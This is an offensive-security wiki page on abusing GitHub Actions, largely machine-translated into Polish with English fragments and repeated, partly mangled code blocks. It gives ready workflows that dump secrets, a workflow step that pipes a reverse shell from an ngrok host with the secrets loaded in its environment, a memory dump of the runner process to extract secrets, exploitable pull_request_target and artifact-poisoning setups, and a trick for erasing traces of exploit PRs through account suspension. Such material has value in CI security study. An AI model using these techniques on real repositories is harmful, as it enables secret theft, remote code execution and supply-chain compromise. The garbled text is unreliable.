Abusing Github Actions

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

In this page you will find:

• A summary of all the impacts of an attacker managing to access a Github Action

• Different ways to get access to an action:

• Having permissions to create the action

• Abusing pull request related triggers

• Abusing other external access techniques

• Pivoting from an already compromised repo

• Finally, a section about post-exploitation techniques to abuse an action from inside (cause the mentioned impacts)

Impacts Summary

For an introduction about Github Actions check the basic information.

If you can execute arbitrary code in GitHub Actions within a repository, you may be able to:

• Kraść sekrety zamontowane w pipeline i nadużywać uprawnień pipeline do uzyskania nieautoryzowanego dostępu do zewnętrznych platform, takich jak AWS i GCP.

• Kompromentować wdrożenia i inne artefakty.

• If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.

• Wykonywać kod w niestandardowych workerach aby nadużywać mocy obliczeniowej i przechodzić do innych systemów.

• Nadpisywać kod repozytorium, w zależności od uprawnień związanych z GITHUB_TOKEN.

GITHUB_TOKEN

This "sekret" (coming from ${{ secrets.GITHUB_TOKEN }} and ${{ github.token }}) is given when the admin enables this option:

This token is the same one a Github Application will use, so it can access the same endpoints: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github should release a flow that allows cross-repository access within GitHub, so a repo can access other internal repos using the GITHUB_TOKEN.

You can see the possible permissions of this token in: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Note that the token expires after the job has completed. These tokens looks like this: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Some interesting things you can do with this token:

Merge PR

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

Zatwierdź PR

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

Utwórz PR

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

Zauważ, że w kilku przypadkach będziesz mógł znaleźć tokeny użytkowników githuba w zmiennych środowiskowych Github Actions lub w sekretach. Te tokeny mogą dać ci więcej uprawnień do repozytorium i organizacji.

Lista sekretów w wyjściu Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Uzyskaj powłokę odwrotną z sekretami

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Możliwe jest sprawdzenie uprawnień nadanych tokenowi Github w repozytoriach innych użytkowników sprawdzając logi akcji:

Dozwolone Wykonanie

To byłby najłatwiejszy sposób na kompromitację akcji Github, ponieważ ten przypadek zakłada, że masz dostęp do utworzenia nowego repozytorium w organizacji lub masz uprawnienia do zapisu w repozytorium.

Jeśli jesteś w tym scenariuszu, możesz po prostu sprawdzić techniki po eksploatacji.

Wykonanie z Utworzenia Repozytorium

W przypadku, gdy członkowie organizacji mogą tworzyć nowe repozytoria i możesz wykonywać akcje github, możesz utworzyć nowe repozytorium i ukraść sekrety ustawione na poziomie organizacji.

Wykonanie z Nowej Gałęzi

Jeśli możesz utworzyć nową gałąź w repozytorium, które już zawiera skonfigurowaną akcję Github, możesz ją zmodyfikować, załadować zawartość, a następnie wykonać tę akcję z nowej gałęzi. W ten sposób możesz wyeksfiltrować sekrety na poziomie repozytorium i organizacji (ale musisz wiedzieć, jak się nazywają).

Możesz uczynić zmodyfikowaną akcję wykonalną ręcznie, gdy PR zostanie utworzony lub gdy jakikolwiek kod zostanie przesłany (w zależności od tego, jak głośny chcesz być):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

---

Wykonanie z Forka

Istnieją różne wyzwalacze, które mogą pozwolić atakującemu na wykonanie akcji Github innego repozytorium. Jeśli te wyzwalane akcje są źle skonfigurowane, atakujący może być w stanie je skompromitować.

pull_request

Wyzwalacz workflow pull_request wykona workflow za każdym razem, gdy otrzymany zostanie pull request z pewnymi wyjątkami: domyślnie, jeśli to jest pierwszy raz, gdy współpracujesz, niektórzy utrzymujący będą musieli zatwierdzić wykonanie workflow:

Ponieważ domyślne ograniczenie dotyczy pierwszych współpracowników, możesz przyczynić się do naprawy ważnego błędu/ortografii, a następnie wysłać inne PR-y, aby nadużyć swoich nowych uprawnień pull_request.

Testowałem to i to nie działa: Inną opcją byłoby stworzenie konta o nazwie kogoś, kto przyczynił się do projektu i usunięcie jego konta.

Ponadto, domyślnie zapobiega uprawnieniom do zapisu i dostępowi do sekretów w docelowym repozytorium, jak wspomniano w dokumentacji:

Z wyjątkiem GITHUB_TOKEN, sekrety nie są przekazywane do runnera, gdy workflow jest wyzwalany z forkowanego repozytorium. `GITHUB_TOKEN ma uprawnienia tylko do odczytu w pull requestach z forkowanych repozytoriów.

Atakujący mógłby zmodyfikować definicję akcji Github, aby wykonać dowolne rzeczy i dodać dowolne akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repozytorium z powodu wspomnianych ograniczeń.

Tak, jeśli atakujący zmieni w PR akcję github, która zostanie wyzwolona, jego akcja Github będzie używana, a nie ta z repozytorium źródłowego!

Ponieważ atakujący kontroluje również kod, który jest wykonywany, nawet jeśli nie ma sekretów ani uprawnień do zapisu na GITHUB_TOKEN, atakujący mógłby na przykład przesłać złośliwe artefakty.

pull_request_target

Wyzwalacz workflow pull_request_target ma uprawnienia do zapisu w docelowym repozytorium i dostęp do sekretów (i nie prosi o pozwolenie).

Zauważ, że wyzwalacz workflow pull_request_target działa w kontekście bazowym i nie w tym, który jest podany przez PR (aby nie wykonywać nieufnego kodu). Aby uzyskać więcej informacji na temat pull_request_target, sprawdź dokumentację. Ponadto, aby uzyskać więcej informacji na temat tego konkretnego niebezpiecznego użycia, sprawdź ten post na blogu githuba.

Może się wydawać, że ponieważ wykonywany workflow jest tym zdefiniowanym w bazie i nie w PR, jest bezpieczne używanie pull_request_target, ale istnieje kilka przypadków, w których tak nie jest.

A ten będzie miał dostęp do sekretów.

workflow_run

Wyzwalacz workflow_run pozwala na uruchomienie workflow z innego, gdy jest ukończony, zażądany lub w trakcie.

W tym przykładzie workflow jest skonfigurowany do uruchomienia po zakończeniu oddzielnego workflow "Uruchom testy":

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: Workflow uruchomiony przez zdarzenie workflow_run ma możliwość dostępu do sekretów i zapisywania tokenów, nawet jeśli poprzedni workflow nie miał.

Tego rodzaju workflow może być zaatakowany, jeśli zależy od workflow, który może być wyzwolony przez zewnętrznego użytkownika za pomocą pull_request lub pull_request_target. Kilka podatnych przykładów można znaleźć w tym blogu. Pierwszy z nich polega na tym, że workflow_run uruchamia workflow, który pobiera kod atakującego: ${{ github.event.pull_request.head.sha }} Drugi polega na przekazywaniu artefaktu z niezaufanego kodu do workflow workflow_run i używaniu zawartości tego artefaktu w sposób, który czyni go podatnym na RCE.

workflow_call

TODO

TODO: Sprawdź, czy podczas wykonywania z pull_request używany/pobierany kod pochodzi z oryginału czy z forkowanego PR

Wykorzystywanie Wykonania Forkowanego

Wspomnieliśmy o wszystkich sposobach, w jakie zewnętrzny atakujący mógłby sprawić, że workflow githuba zostanie uruchomiony, teraz przyjrzyjmy się, jak te wykonania, jeśli są źle skonfigurowane, mogą być wykorzystywane:

Wykonanie niezaufanego checkoutu

W przypadku pull_request workflow będzie wykonywany w kontekście PR (więc wykona złośliwy kod PR), ale ktoś musi najpierw to autoryzować i będzie działał z pewnymi ograniczeniami.

W przypadku workflow używającego pull_request_target lub workflow_run, który zależy od workflow, który może być wyzwolony z pull_request_target lub pull_request, kod z oryginalnego repozytorium zostanie wykonany, więc atakujący nie może kontrolować wykonanego kodu.

Jednakże, jeśli akcja ma wyraźny checkout PR, który pobierze kod z PR (a nie z bazy), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie kod PR jest pobierany):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Potencjalnie niezaufany kod jest uruchamiany podczas npm install lub npm build, ponieważ skrypty budowania i odwołane pakiety są kontrolowane przez autora PR.

Dork githuba do wyszukiwania podatnych akcji to: event.pull_request pull_request_target extension:yml, jednak istnieją różne sposoby konfigurowania zadań, aby były wykonywane bezpiecznie, nawet jeśli akcja jest skonfigurowana niebezpiecznie (jak używanie warunków dotyczących tego, kto jest aktorem generującym PR).

Wstrzyknięcia Skryptów w Kontekście

Zauważ, że istnieją pewne konteksty githuba, których wartości są kontrolowane przez użytkownika tworzącego PR. Jeśli akcja githuba używa tych danych do wykonania czegokolwiek, może to prowadzić do wykonywania dowolnego kodu:

Gh Actions - Context Script Injections

Wstrzyknięcie Skryptu GITHUB_ENV

Z dokumentacji: Możesz udostępnić zmienną środowiskową dla wszystkich kolejnych kroków w zadaniu workflow, definiując lub aktualizując zmienną środowiskową i zapisując ją w pliku środowiskowym GITHUB_ENV.

Jeśli atakujący mógłby wstrzyknąć dowolną wartość do tej zmiennej env, mógłby wstrzyknąć zmienne środowiskowe, które mogłyby wykonać kod w kolejnych krokach, takie jak LD_PRELOAD lub NODE_OPTIONS.

Na przykład (to i to), wyobraź sobie workflow, który ufa przesłanemu artefaktowi, aby przechować jego zawartość w zmiennej środowiskowej GITHUB_ENV. Atakujący mógłby przesłać coś takiego, aby to skompromitować:

Podatne Akcje Githuba Trzeciej Strony

dawidd6/action-download-artifact

Jak wspomniano w tym poście na blogu, ta Akcja Githuba umożliwia dostęp do artefaktów z różnych workflow, a nawet repozytoriów.

Problem polega na tym, że jeśli parametr path nie jest ustawiony, artefakt jest wyodrębniany w bieżącym katalogu i może nadpisywać pliki, które mogą być później używane lub nawet wykonywane w workflow. Dlatego, jeśli artefakt jest podatny, atakujący mógłby to wykorzystać, aby skompromitować inne workflow ufające artefaktowi.

Przykład podatnego workflow:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

To można zaatakować za pomocą tego przepływu pracy:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

---

Inny dostęp zewnętrzny

Przejęcie usuniętego repozytorium namespace

Jeśli konto zmieni swoją nazwę, inny użytkownik może zarejestrować konto o tej samej nazwie po pewnym czasie. Jeśli repozytorium miało mniej niż 100 gwiazdek przed zmianą nazwy, Github pozwoli nowemu zarejestrowanemu użytkownikowi o tej samej nazwie na utworzenie repozytorium o tej samej nazwie co usunięte.

Więc jeśli akcja używa repozytorium z nieistniejącego konta, nadal możliwe jest, że atakujący mógłby utworzyć to konto i skompromitować akcję.

Jeśli inne repozytoria korzystały z zależności z repozytoriów tego użytkownika, atakujący będzie mógł je przejąć. Oto bardziej szczegółowe wyjaśnienie: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

---

Przełączanie repozytoriów

W tej sekcji omówimy techniki, które pozwolą na przełączenie z jednego repozytorium do drugiego, zakładając, że mamy jakiś rodzaj dostępu do pierwszego (sprawdź poprzednią sekcję).

Zatrucie pamięci podręcznej

Pamięć podręczna jest utrzymywana między wykonaniami workflow w tej samej gałęzi. Oznacza to, że jeśli atakujący skomprumituje pakiet, który następnie jest przechowywany w pamięci podręcznej i pobierany oraz wykonywany przez bardziej uprzywilejowany workflow, będzie mógł również skomprumotować ten workflow.

GH Actions - Cache Poisoning

Zatrucie artefaktów

Workflow mogą używać artefaktów z innych workflow, a nawet repozytoriów, jeśli atakujący zdoła skomprumować Github Action, która przesyła artefakt, który jest później używany przez inny workflow, mógłby skomprumować inne workflow:

Gh Actions - Artifact Poisoning

---

Po eksploatacji z akcji

Uzyskiwanie dostępu do AWS i GCP za pomocą OIDC

Sprawdź następujące strony:

AWS - Federation AbuseGCP - Federation Abuse

Uzyskiwanie dostępu do sekretów

Jeśli wstrzykujesz zawartość do skryptu, warto wiedzieć, jak możesz uzyskać dostęp do sekretów:

• Jeśli sekret lub token jest ustawiony jako zmienna środowiskowa, można go bezpośrednio uzyskać przez środowisko, używając printenv.

Lista sekretów w wyjściu Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Uzyskaj powłokę odwrotną z sekretami</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

• Jeśli sekret jest używany bezpośrednio w wyrażeniu, wygenerowany skrypt powłoki jest przechowywany na dysku i jest dostępny.

cat /home/runner/work/_temp/*

* W przypadku akcji JavaScript sekrety są przesyłane przez zmienne środowiskowe.
* ```bash
ps axe | grep node

• Dla niestandardowej akcji ryzyko może się różnić w zależności od tego, jak program używa uzyskanego sekretu z argumentu:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Wykorzystywanie samodzielnie hostowanych runnerów

Sposobem na znalezienie, które Github Actions są wykonywane w infrastrukturze nie-Github jest wyszukiwanie runs-on: self-hosted w konfiguracji yaml akcji Github.

Samodzielnie hostowane runnery mogą mieć dostęp do dodatkowych wrażliwych informacji, do innych systemów sieciowych (wrażliwe punkty końcowe w sieci? usługa metadanych?) lub, nawet jeśli są izolowane i zniszczone, więcej niż jedna akcja może być uruchamiana jednocześnie i złośliwa mogłaby ukraść sekrety innej.

W samodzielnie hostowanych runnerach możliwe jest również uzyskanie sekretów z procesu _Runner.Listener_** który będzie zawierał wszystkie sekrety workflow na każdym etapie, zrzucając jego pamięć:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Sprawdź ten post, aby uzyskać więcej informacji.

Rejestr obrazów Docker w Github

Możliwe jest tworzenie akcji Github, które budują i przechowują obraz Docker w Github. Przykład można znaleźć w następującym rozwijanym:

Github Action Build & Push Docker Image

```yaml [...]

• name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

• name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

• name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

• name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Jak można zobaczyć w poprzednim kodzie, rejestr Github jest hostowany w **`ghcr.io`**.

Użytkownik z uprawnieniami do odczytu repozytorium będzie mógł pobrać obraz Dockera za pomocą tokena dostępu osobistego:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Then, the user could search for leaked secrets in the Docker image layers:

Wrażliwe informacje w logach Github Actions

Even if Github try to detect secret values in the actions logs and avoid showing them, other sensitive data that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's specifically configured.

Zacieranie śladów

(Technique from here) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we can’t delete a PR of the internet, but there is a twist. For Github accounts that are suspended by Github, all of their PRs are automatically deleted and removed from the internet. So in order to hide your activity you need to either get your GitHub account suspended or get your account flagged. This would hide all your activities on GitHub from the internet (basically remove all your exploit PR)

An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.

The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.

Narzędzia

The following tools are useful to find Github Action workflows and even find vulnerable ones:

• https://github.com/CycodeLabs/raven

• https://github.com/praetorian-inc/gato

• https://github.com/AdnaneKhan/Gato-X

• https://github.com/carlospolop/PurplePanda

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)